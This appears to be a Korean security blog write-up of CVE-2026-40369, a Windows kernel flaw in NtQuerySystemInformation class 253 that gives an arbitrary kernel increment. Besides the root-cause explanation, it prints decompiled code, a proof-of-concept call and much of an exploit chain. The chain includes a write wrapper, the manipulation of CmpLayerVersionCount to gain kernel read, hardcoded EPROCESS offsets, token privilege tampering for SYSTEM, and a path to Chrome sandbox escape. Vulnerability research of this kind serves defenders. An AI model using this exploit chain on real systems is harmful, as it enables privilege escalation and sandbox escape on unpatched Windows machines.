[하루한줄] CVE-2026-40369: Windows Kernel(ntoskrnl.exe)의 Untrusted Pointer Dereference로 인한 Arbitrary Kernel Address Increment LPE/Sandbox Escape 취약점
URL
Target
- Windows 11 24H2 x64/ARM64 < 10.0.26100.8390
- Windows 11 25H2 x64/ARM64 < 10.0.26200.8390
- Windows 11 26H1 x64/ARM64 < 10.0.28000.2113
- Windows Server 2025 < 10.0.26100.32772
Explain
CVE-2026-40369는 Windows Kernel의 ntoskrnl.exe 내부 ExpGetProcessInformation 함수에서 발생하는 LPE 취약점입니다. 진입점은 NtQuerySystemInformation이며, 그 중 253(SystemProcessInformationExtension) 처리 경로에서 발생했습니다.
이 primitive는 일반 user 권한뿐 아니라 Chrome Renderer Sandbox 같은 제한된 환경에서 도달 가능한 NT syscall 경로를 통해 호출될 수 있기 때문에, 브라우저 RCE와 결합될 경우 renderer sandbox를 벗어나 SYSTEM 권한 상승으로 이어질 수 있습니다.
Root Cause
Root Cause는 크게 세 가지 조건이 겹치면서 발생합니다.
NtQuerySystemInformation의 Class 253 경로가ExpGetProcessInformation으로 전달됩니다.SystemInformationLength가 0이면ProbeForWrite(buffer, Length, alignment)가 실질적으로 버퍼 검증을 수행하지 않습니다.- Class 253 처리 경로에서 사용자 제공 버퍼 포인터가
pExtensionOut그대로 저장되고, 이후 프로세스 순회 루프에서 해당 포인터를 기준해 커널 메모리 increment가 발생합니다.
먼저 Class 253은 ExpGetProcessInformation 내부에서 다음과 같이 별도 경로로 처리됩니다.
ExpGetProcessInformation(
unsigned int *userBuffer,
unsigned int length,
ULONG *returnLength,
...
)
{
if (infoClass == 252) {
pCompactInfo = userBuffer;
pProcessInfo = 0;
}
else {
pCompactInfo = 0;
if (infoClass == 253) {
entrySize = 12;
pExtensionOut = userBuffer; // BUG: no proper validation
pProcessInfo = 0;
goto LABEL_11;
}
pProcessInfo = userBuffer;
}
pExtensionOut = 0;
LABEL_11:
lengthTooSmall = length < entrySize;
if (lengthTooSmall) { // Length(0) < 12 → true
if (!returnLength)
return 0xC0000004; // ReturnLength가 NULL일 때만 즉시 반환
}
status = lengthTooSmall ? 0xC0000004 : 0;
...
return status;
}
핵심은 pExtensionOut = userBuffer입니다. 정상적인 경우 userBuffer는 커널이 조회한 시스템 정보를 기록할 user-mode outputBuffer로 사용되어야 합니다.
하지만 Class 253 경로에서는 Length=0 조건으로 인해 사전에 수행되는 ProbeForWrite검증이 실질적으로 우회될 수 있고, 이후 userBuffer가 별도 검증 없이 pExtensionOut에 저장됩니다. 이때 공격자가 SystemInformation 인자로 커널 주소를 전달하면, 해당 커널 주소가 출력 버퍼처럼 사용될 수 있습니다.
또한 length < entrySize 조건이 true가 되어도 ReturnLength가 NULL이 아니면 즉시 반환하지 않고, STATUS_INFO_LENGTH_MISMATCH를 local status에 저장한 뒤 프로세스 순회 루프로 계속 진행합니다. 따라서 최종 반환값은 오류 상태일 수 있지만, 그 전에 pExtensionOut을 기준으로 한 커널 메모리 increment가 먼저 수행됩니다.
while (NextProcess) {
if (infoClass == 253) {
++*pExtensionOut;
pExtensionOut[1] += PsGetProcessActiveThreadCount(NextProcess);
pExtensionOut[2] += ObGetProcessHandleCount(NextProcess, 0);
}
NextProcess = ExGetNextProcess(NextProcess, restricted);
}
따라서 공격자가 SystemInformation 인자로 커널 주소를 전달하면, 해당 주소를 기준으로 increment가 발생합니다.
target + 0:DWORD+= 순회 대상 프로세스 수target + 4:DWORD+= 순회 대상 프로세스들의 active thread count 합target + 8:DWORD+= 순회 대상 프로세스들의 handle count 합target + 12이후 : write 범위 밖
writable kernel VA 기준으로 12-byte 범위에 세 번의 DWORD increment를 발생시키는 제한적 kernel write primitive로 볼 수 있습니다.
typedef long NTSTATUS;
#define SystemProcessInformationExtension 253
typedef NTSTATUS (NTAPI *PNtQuerySystemInformation)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
PoC를 확인해보면, 먼저 ntdll.dll에서 NtQuerySystemInformation을 동적으로 resolve합니다.
PNtQuerySystemInformation pNtQSI = (PNtQuerySystemInformation)
GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");
if (!pNtQSI) {
printf("[-] Failed to resolve NtQuerySystemInformation\n");
return 1;
}
이후 SystemInformation 인자로 일반적인 user-mode outputBuffer가 아니라 공격자가 대상으로 삼은 주소를 전달할 수 있습니다.
PVOID target = (PVOID)0xffff800041424344ULL;
ULONG needed = 0;
NTSTATUS status = pNtQSI(
SystemProcessInformationExtension,
target, /* kernel address — ProbeForWrite skipped because Length=0 */
0, /* Length=0 bypasses ProbeForWrite entirely */
&needed
);
Class 253 + target address + Length=0 + non-NULL ReturnLength 조건을 맞춰 앞서 설명한 Class 253 경로로 진입하면, target이 writable kernel address인 경우 해당 주소 기준으로 increment가 수행됩니다.
Exploit
최종 exploit chain 흐름은 아래와 같습니다.
- KASLR Bypass
- Class 253 increment primitive 확보
CmpLayerVersionCount/CmpLayerVersions조작- Class 222 경로를 이용한 kernel read primitive 구성
EPROCESS리스트 순회- 현재 프로세스 Token 주소 확인
- Token privilege bitmask 조작
SeDebugPrivilege활성화 및 SYSTEM 프로세스 접근 및 코드 실행
#define EPROCESS_UniqueProcessId 0x1D0
#define EPROCESS_ActiveProcessLinks 0x1D8
#define EPROCESS_ImageFileName 0x338
#define EPROCESS_Token 0x248
#define RVA_PsInitialSystemProcess 0xFC5AF0
#define RVA_CmpLayerVersionCount 0xEF7040
먼저 KASLR을 우회해 ntoskrnl.exe base를 알아냅니다. 이후 exploit은 build별 RVA를 기준으로 PsInitialSystemProcess, CmpLayerVersionCount 등의 커널 전역 변수 주소를 계산합니다.
#define SystemProcessInformationExtension ((SYSTEM_INFORMATION_CLASS)253)
void write_at(DWORD64 address)
{
ULONG needed = 0;
NTSTATUS status = NtQuerySystemInformation(
SystemProcessInformationExtension,
(void*)address, /* kernel address — ProbeForWrite skipped because Length=0 */
0, /* Length=0 bypasses ProbeForWrite entirely */
&needed
);
}
write_at()은 공격자가 지정한 커널 주소를 SystemInformation 인자로 전달해 Class 253의 increment primitive를 트리거하는 wrapper입니다. 먼저 exploit은 CmpLayerVersionCount를 증가시켜 Class 222(SystemBuildVersionInformation)에서 접근 가능한 index 범위를 넓힙니다. - 11은 Class 253 primitive가 target + 8 위치에도 값을 더하는 특성을 이용하기 위하여 설정됩니다.
while (get_version_count() < 11)
{
write_at(ntos_base + RVA_CmpLayerVersionCount - 11);
}
이후에는 사용되지 않는 CmpLayerVersions[9] 엔트리를 대상으로 다시 write_at()을 반복 호출합니다.
for (;;)
{
confusion = get_confusion_address(p);
if (confusion == nullptr)
{
write_at(
ntos_base
+ RVA_CmpLayerVersionCount
+ sizeof(DWORD)
+ (QUERY_INDEX - 1) * sizeof(DWORD64)
);
}
else
{
break;
}
}
get_confusion_address(p)가 성공하면 Class 222가 조작된 CmpLayerVersions[9]를 따라가게 되고, user-mode에 준비된 fake structure를 커널 구조체처럼 해석하게 됩니다. 이를 통해 제한적인 kernel read primitive를 구성할 수 있습니다.
static ULONG64 find_current_eprocess(
FAKE_VERSION_STRUCT* fake,
ULONG query_index,
ULONG64 ntos_base
)
{
DWORD my_pid = GetCurrentProcessId();
ULONG64 system_eprocess = 0;
kernel_read(
fake,
query_index,
ntos_base + RVA_PsInitialSystemProcess,
8,
(BYTE*)&system_eprocess
);
}
커널 read가 확보되면 exploit은 PsInitialSystemProcess에서 시작해 EPROCESS의 ActiveProcessLinks를 따라 리스트를 순회하면서 현재 PID와 일치하는 EPROCESS를 찾습니다.
ULONG64 head = system_eprocess + EPROCESS_ActiveProcessLinks;
ULONG64 current_link = 0;
kernel_read(fake, query_index, head, 8, (BYTE*)¤t_link);
for (int i = 0; i < 1024; i++) {
if (!current_link || current_link == head)
break;
ULONG64 eprocess = current_link - EPROCESS_ActiveProcessLinks;
ULONG64 pid = 0;
kernel_read(
fake,
query_index,
eprocess + EPROCESS_UniqueProcessId,
8,
(BYTE*)&pid);
}
Current process의 EPROCESS를 찾으면 EPROCESS_Token 오프셋을 통해 Token pointer를 얻고, Class 253 increment primitive를 이용해 Token의 privilege bitmask를 조작합니다. 공개 자료에 따르면 SeDebugPrivilege를 활성화해 SYSTEM 프로세스에 접근하는 흐름으로 이어집니다.
Reference
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.